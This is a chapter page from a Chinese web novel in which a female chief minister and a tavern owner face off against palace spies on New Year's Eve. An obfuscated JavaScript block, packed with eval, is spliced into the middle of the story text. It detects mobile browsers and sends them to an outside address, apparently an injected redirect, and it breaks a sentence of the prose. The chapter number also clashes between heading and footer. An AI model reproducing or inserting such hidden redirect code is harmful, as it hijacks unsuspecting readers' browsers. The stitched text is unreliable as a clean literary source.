默认冷灰
24号文字
方正启体

9. 暗流:有人跟踪

作者:洛月不芷本书字数:K更新时间:
    腊月二十九,寅时三刻。


    天还没亮。


    谢知微走出风月楼的时候,雪已经停了,可风还在刮,刀子似的往脸上割。她拢了拢身上的斗篷,沿着胭脂河往北走。


    走出二十几步,她忽然停下来。


    没有回头。


    可她听见了。


    身后的雪地里,有脚步声。


    很轻,很细,像猫踩在雪上。寻常人根本听不见。可她谢知微在刀尖上走了二十三年,什么声音瞒得过她?


    她冷笑一声,继续往前走。


    脚步不远不近地跟着。


    走到一个拐角处,她忽然闪身进去。


    后面的脚步声停了。


    过了一会儿,一个黑影从巷口探出头来。


    空的。


    巷子里什么都没有。


    黑影愣了愣,正要转身——


    “找谁?”


    声音从身后传来。


    黑影猛地回头,谢知微就站在他身后三步远的地方,手里不知何时多了一把短刀,刀尖在雪夜里泛着寒光。


    黑影的脸色变了。


    谢知微看着他,慢慢笑了。


    “皇帝的狗,”她说,“来得真快。”


    黑影不说话,手往腰间摸去。


    谢知微的刀往前递了一寸。


    “别动。”她说,“动一下,我让你见不着明天的太阳。”


    黑影的手僵住了。


    谢知微上下打量了他一眼。


    二十来岁,黑衣,短打扮,腰间挂着腰牌。她一眼就认出那是皇城司的人——皇帝的耳目,专门干这些见不得人的勾当。


    “谁派你来的?”她问。


    黑影咬着牙不说话。


    谢知微点点头。


    “行,”她说,“不说是吧?那我替你说了。刘公公?还是陛下亲自吩咐的?”


    黑影的眼神闪了闪。


    谢知微看见了。


    “刘公公。”她说,“他让你盯谁?盯我?还是盯风月楼?”


    黑影还是不开口。


    谢知微忽然收起刀。


    黑影愣了一下,转身就跑。


    跑出几步,忽然一头栽倒在地。


    他挣扎着想爬起来,却发现浑身软得像一摊泥,一点力气都没有。


    谢知微慢慢走过来,蹲在他面前。


    “皇城司的人,”她说,“就这点本事?”


    黑影瞪着她,眼睛里全是惊恐。


    谢知微从他腰间扯下那块腰牌,看了看,扔进胭脂河里。


    “回去告诉刘公公,”她说,“就说我谢知微说了——风月楼是我朋友开的,让他的人离远点。再来,就别怪我不客气。”


    黑影张了张嘴,想说什么,可一句话都说不出来。


    谢知微站起来,拍了拍手。


    “药效半个时辰,”她说,“半个时辰后你就能动了。这半个时辰里,你好好想想,怎么跟刘公公交代。”


    她转身走了。


    走出几步,又停下来,回过头。


    “对了,”她说,“你回去告诉刘公公,就说我谢知微,等他来。”


    说完,她消失在夜色里。


    黑影躺在雪地里,浑身僵硬,眼睁睁看着天边慢慢亮起来。


    半个时辰后,他终于能动了。


    他爬起来,跌跌撞撞往皇城方向跑。


    跑出很远,他才敢回头看一眼。


    风月楼的灯笼还亮着,红彤彤的,像一只眼睛。


    正在看着他。


    与此同时,风月楼里。


    沈醉站在三楼听梅阁的窗边,看着谢知微消失在巷子里。


    她身后站着李三娘。


    “老板娘,”李三娘说,“人走了。”


    沈醉点点头。


    李三娘说:“要不要我跟上去看看?”


    沈醉摇摇头:“不用。谢相能应付。”


    李三娘不再说话。


    沈醉站在窗边,看着外面的夜色。


    看了很久。


    然后她忽然笑了。


    “皇帝的狗,”她说,“来得倒快。”


    李三娘问:“老板娘,咱们怎么办?”


    沈醉回过头,看着她。


    “怎么办?”她说,“老娘的风月楼,可不是他们能撒野的地方。”


    她走到桌前,拿起那只空酒碗,转了两圈。


    “三娘,”她说,“明儿起,把咱们的人都叫回来。楼里楼外,日夜盯着。只要那些狗敢来——”


    她把酒碗往桌上一顿。


    “就让他们有来无回。”


    李三娘抱拳:“是。”


    沈醉摆摆手,让她下去。


    屋子里只剩她一个人。


    她走到窗边,推开窗。


    冷风灌进来,吹得烛火摇曳。


    她看着外面的夜色,看着那条胭脂河,看着河对岸黑沉沉的皇城。


    “皇帝,”她轻声说,“你以为你养的那些狗,能咬得动老娘的风月楼?”


    她笑了。


    笑得很大声。


    笑声在夜风里飘出去,飘到河面上,飘到对岸。


    没有人听见。


    可她知道,有人会听见的。


    那些狗。


    那些藏在暗处的眼睛。


    让他们听见。


    让他们知道,风月楼不是好惹的。


    让他们知道,这世道,要变了。


    第二天一早,皇城司。


    刘公公坐在椅子上,听那个黑衣人说完昨晚的事,脸色越来越难看。


    “她真这么说?”他问。


    黑衣人跪在地上,头都不敢抬:“是,她……她就是这么说的。”


    刘公公沉默了一会儿。


    然后他笑了。


    笑得阴恻恻的。


    “有意思,”他说,“真有意思。谢知微啊谢知微,你当了九年宰相,还真以为自己能翻天了?”


    他站起身,走到窗前,看着外面。


    外面是皇城的宫殿,金碧辉煌,层层叠叠。


    “去,”他说,“多派几个人。日夜盯着。她见什么人,说什么话,做什么事,我全都要知道。”


    黑衣人应声而去。


    刘公公站在窗前,眯着眼睛。


    “谢知微,”他喃喃说,“我倒要看看,你能蹦跶几天。”


    腊月二十九,午时。


    谢知微回到宫里,刚进值房,就看见桌上多了一封信。


    她拆开一看,笑了。


    是沈醉的信。


    只有一行字:狗来了,关门打。


    她把信烧了,坐在案前,继续批奏折。


    批着批着,她忽然抬起头,看向窗外。


    窗外有人在走动。


    穿着侍卫的衣服,可那不是普通的侍卫。


    是皇城司的人。


    她冷笑一声,低下头,继续批奏折。


    笔尖划过宣纸,朱砂红得刺目。


    她一边批,一边想。


    皇帝的狗,来得真快。


    可来得快,死得也快。


    她等着。


    等着看那些狗,怎么一条一条死在她手里。


    腊月二十九,酉时。


    天黑了。


    风月楼的灯笼点起来,红彤彤的一片。


    沈醉站在门口,看着来来往往的人。


    街上人来人往,有买年货的,有贴春联的,有放鞭炮的。明天就是除夕,家家户户都在忙。


    可她知道,这些人里,藏着狗。


    她一眼就看出来了。


    那几个蹲在馄饨摊边上的,穿得破破烂烂,可眼睛不对劲。那双眼睛不看馄饨,只看风月楼。


    还有那个卖糖葫芦的,转来转去,就在风月楼门口转,转了一个时辰了。


    还有那两个喝茶的,坐在对面茶馆的窗边,茶都凉了,还在喝。


    狗。


    全是狗。


    沈醉笑了。


    她转身走进楼里,上了三楼,进了听梅阁。


    李三娘跟进来。


    “老板娘,”她说,“都看清了。六个。三个在街边蹲着,一个装卖糖葫芦的,两个在对面茶馆。”


    沈醉点点头。


    “好,”她说,“让他们盯着。盯到天亮,也盯不出什么。”


    李三娘问:“要不要做点什么?”


    沈醉想了想。


    “做,”她说,“当然要做。”


    她走到窗边,推开窗,对着外面喊了一声。


    “阿萝!来碗馄饨!”


    对面馄饨摊上,阿萝的娘应了一声,很快端着一碗馄饨送过来。


    那几个蹲着的狗,眼睛都亮了。


    他们看着阿萝的娘走进风月楼,又走出来。


    什么都没发现。


    沈醉坐在窗边,慢慢吃着馄饨。


    一边吃,一边笑。


    那些狗,真以为能盯住她?


    笑话。


    这风月楼她开了十年,什么风浪没见过?皇帝的狗算什么?当年那些仇家,哪个不比这些狗凶?


    她吃完馄饨,把碗放下。


    “三娘,”她说,“明儿个除夕,给伙计们放一天假。让他们回家过年。”


    李三娘愣了一下:“老板娘,那楼里……”


    沈醉摆摆手:“我守着。让那些狗看看,老娘一个人,能把这楼守成什么样。”


    李三娘想说什么,又咽了回去。


    她跟着沈醉十年,知道她的脾气。


    说一不二。


    “是。”她说。


    沈醉站在窗边,看着外面的灯火。


    明天就是除夕了。


    后天就是初一。


    新的一年,要来了。


    她不知道这一年会发生什么。


    但她知道,这一年,不会太平。


    那些狗,不会善罢甘休。


    那个皇帝,不会放过她们。


    可她不怕。


    怕什么?


    她这条命,早就不想要了。


    能拿来换点东西,值。


    窗外,远远传来一声炮仗响。


    有人在放鞭炮。


    沈醉听着那响声,忽然想起小时候。


    那时候她娘还在,她爹还没开始赌。每年除夕,她娘都会包饺子,她爹会放鞭炮。一家人围在一起,吃饺子,守岁,等着新年。


    那时候她觉得,日子会一直这样过下去。


    后来才知道,不会的。


    日子会变。


    人也会变。


    只有一样不变——


    这世道,还是那个世道。


    沈醉关上窗,转身下楼。


    楼下的客人都散了,伙计们在收拾桌子。她看着那些熟悉的面孔,忽然说:“明儿个除夕,你们都回家过年。初五再回来。”


    伙计们愣了一下,然后欢呼起来。


    沈醉笑了。


    看着他们欢天喜地地收拾东西,看着他们一个个离开,看着楼里慢慢安静下来。


    最后只剩她一个人。


    她坐在柜台后面,点了一盏灯,给自己倒了一碗酒。


    慢慢喝着。


    喝到半夜,她忽然听见门外有动静。


    很轻,很细。


    她放下酒碗,站起来,走到门边。


    透过门缝往外看。


    外面站着一个人。


    黑衣,蒙面,手里拿着刀。


    沈醉笑了。


    她拉开门。


    那个人没想到门会突然打开,愣了一下。


    沈醉看着他,笑眯眯地问:“客官,这么晚了,来喝酒?”


    那个人反应过来,举刀就砍。


    沈醉一闪身,让过那一刀,同时一脚踹在他膝盖上。


    那个人惨叫一声,跪倒在地。


    沈醉弯腰,从他手里夺过刀,架在他脖子上。


    “谁派你来的?”她问。


    那个人咬着牙不说话。


    沈醉点点头。


    “行,”她说,“不说是吧?那我替你说。刘公公?还是陛下?”


    那个人眼神一闪。


    沈醉看见了。


    “刘公公,”她说,“他派你们来干什么?杀人?放火?还是吓唬吓唬我?”


    那个人还是不说话。


    沈醉叹了口气。


    “你们这些狗,”她说,“真没意思。问什么都不说,打也不说,杀也不说。你们活着还有什么意思?”


    她把刀往下一按。


    那个人脖子上渗出血来。


    “最后问你一次,”她说,“刘公公让你们来干什么?”


    那个人的脸白了。


    “盯……盯着……”他结结巴巴地说,“盯着您,还有……还有那些来过的人……”


    沈醉点点头。


    “就这些?”


    “就……就这些……”


    沈醉把刀收起来。


    “滚。”她说。


    那个人爬起来,连滚带爬地跑了。


    沈醉站在门口,看着他的背影消失在夜色里。


    然后她笑了。


    “三娘,”她忽然说,“出来吧。”


    李三娘从暗处走出来。


    沈醉看着她,问:“都看见了?”


    李三娘点点头。


    沈醉说:“回去告诉谢相,就说我说的——狗急了,要跳墙了。”


    李三娘应了一声,消失在夜色里。


    沈醉站在门口,看着外面的夜。


    夜很黑,很冷。


    可她心里热。


    因为那些狗越急,就说明她们越对。


    说明她们戳到痛处了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334414|199218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说明那个皇帝,怕了。


    她转身走进楼里,关上门。


    回到柜台后面,继续喝酒。


    一碗接一碗。


    喝到天亮。


    腊月三十,除夕。


    京城到处都是鞭炮声,到处都是欢声笑语。


    可风月楼里很安静。


    沈醉一个人坐在听梅阁的窗边,看着外面的街。


    街上的狗少了。


    不是走了,是藏得更深了。


    她看得见。


    那些藏在人群里的眼睛,那些假装买年货的人,那些蹲在角落里抽烟袋的。一个一个,都在盯着风月楼。


    她笑了一下。


    盯着吧。


    盯到死。


    远处传来钟声。


    是皇城的方向。


    除夕的钟声响了。


    新的一年,来了。


    沈醉举起酒碗,对着皇城的方向。


    “皇帝,”她说,“新年好。明年这个时候,我再来给你拜年。”


    她把酒喝了。


    酒很烈,从喉咙一直辣到心里。


    可她心里是热的。


    因为她知道,明年这个时候,一切都会不一样。


    那些狗,那些藏在暗处的眼睛,那些欺压她们的人,那些让她们活得像狗一样的世道——


    都会变。


    一定会的。


    窗外,鞭炮声更响了。


    烟花一朵一朵在夜空中炸开,五颜六色的,照亮了整个京城。


    沈醉看着那些烟花,忽然想起那天晚上,七盏酒碰在一起,积雪震落。


    那是她们的开始。


    现在,真正的较量,要开始了。


    她站起身,推开窗。


    冷风灌进来,吹得她头发飞扬。


    她对着夜空,大声说了一句话。


    “来啊!老娘等着!”


    夜空中,烟花炸开,像在回应她。


    远处,皇城的某个角落,刘公公站在窗前,听着那隐隐约约的喊声,脸色铁青。


    他身边站着那个黑衣人。


    “她……她就是这么喊的。”黑衣人结结巴巴地说。


    刘公公沉默了很久。


    然后他笑了。


    笑得阴恻恻的。


    “好,”他说,“好一个沈醉。好一个风月楼。”


    他转过身,看着黑衣人。


    “去,”他说,“调更多的人。从今天起,我要风月楼里里外外,一只苍蝇都飞不进去。”


    黑衣人应声而去。


    刘公公站在窗前,看着远处的烟花。


    “谢知微,”他喃喃说,“沈醉,还有那些女人。你们以为,你们能翻天?”


    他冷笑一声。


    “做梦。”


    除夕夜,京城,烟花满天。


    有人欢笑,有人守岁,有人团圆。


    也有人站在暗处,盯着另外的人。


    还有人站在窗前,等着那些暗处的人动手。


    风月楼里,沈醉喝完了最后一碗酒。


    她把酒碗往桌上一放,站起身,走下楼,走进后院。


    后院的井台边,站着一个人。


    是谢知微。


    沈醉愣了一下,然后笑了。


    “谢相,”她说,“大过年的,您不在宫里待着,跑我这来做什么?”


    谢知微转过身,看着她。


    “来看看你。”她说。


    沈醉走过去,站在她身边。


    两个人看着那口井。


    井水黑沉沉的,映着天上的烟花。


    谢知微说:“那些狗,越来越多了。”


    沈醉点点头。


    谢知微说:“刘公公那个人,我了解。他不会善罢甘休。”


    沈醉说:“我知道。”


    谢知微看着她。


    “怕吗?”


    沈醉想了想。


    “怕。”她说,“可更怕一辈子就这样。”


    谢知微笑了。


    她笑得很轻,很淡,像风里的雪花。


    “我也是。”她说。


    两个人站在井台边,谁也没有说话。


    烟花一朵一朵在夜空中炸开,照亮她们的脸。


    一个是白发如雪,相中狼。


    一个是红衣如火,酒中仙。


    两个从死人堆里爬出来的女人。


    两个不甘心的人。


    过了很久,谢知微开口了。


    “沈醉,”她说,“你知道我最怕什么吗?”


    沈醉摇摇头。


    谢知微说:“我最怕的,不是死。是死了之后,没人记得我娘,没人记得那些死了的人,没人记得咱们为什么活着。”


    沈醉看着她。


    谢知微继续说:“所以我得活着。活到那一天。活到有人记得。”


    沈醉点点头。


    “我也是。”她说,“我娘死的时候,我才八岁。她的脸我早就记不清了。可我记得她最后看我的那个眼神。那个眼神告诉我,得活着。得替她活着。”


    谢知微伸出手,在她手背上拍了拍。


    沈醉也伸出手,在她手背上拍了拍。


    两个女人,两只手,在夜色里握在一起。


    烟花还在炸。


    狗还在暗处盯着。


    皇帝还在宫里等着。


    刘公公还在调兵遣将。


    可她们不怕。


    因为她们不是一个人。


    是七个人。


    七条命。


    一条船。


    远处传来鸡鸣。


    天快亮了。


    除夕夜过去,新的一年来了。


    谢知微松开手。


    “我该走了。”她说。


    沈醉点点头。


    谢知微转身,走了几步,忽然停下来,回过头。


    “沈醉,”她说,“保重。”


    沈醉笑了。


    “保重。”她说。


    谢知微消失在夜色里。


    沈醉站在井台边,看着她的背影消失。


    然后她抬起头,看着天边那一线灰白。


    天亮了。


    新的一年,来了。


    她转身走进楼里,开始收拾。


    因为今天,会有客人来。


    那些客人,不是来喝酒的。


    是来拼命的。


    可那又怎样?


    她沈醉,从八岁那年,就开始拼命了。


    拼了二十多年,还怕再拼几年?


    窗外的鞭炮声还在响。


    她听着那响声,忽然笑了。


    “皇帝,”她轻声说,“你那些狗,能咬死我吗?”


    她摇摇头。


    “咬不死。”


    “因为老娘是疯狗。”


    “疯狗,不怕死。”


    ——第八章完——
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)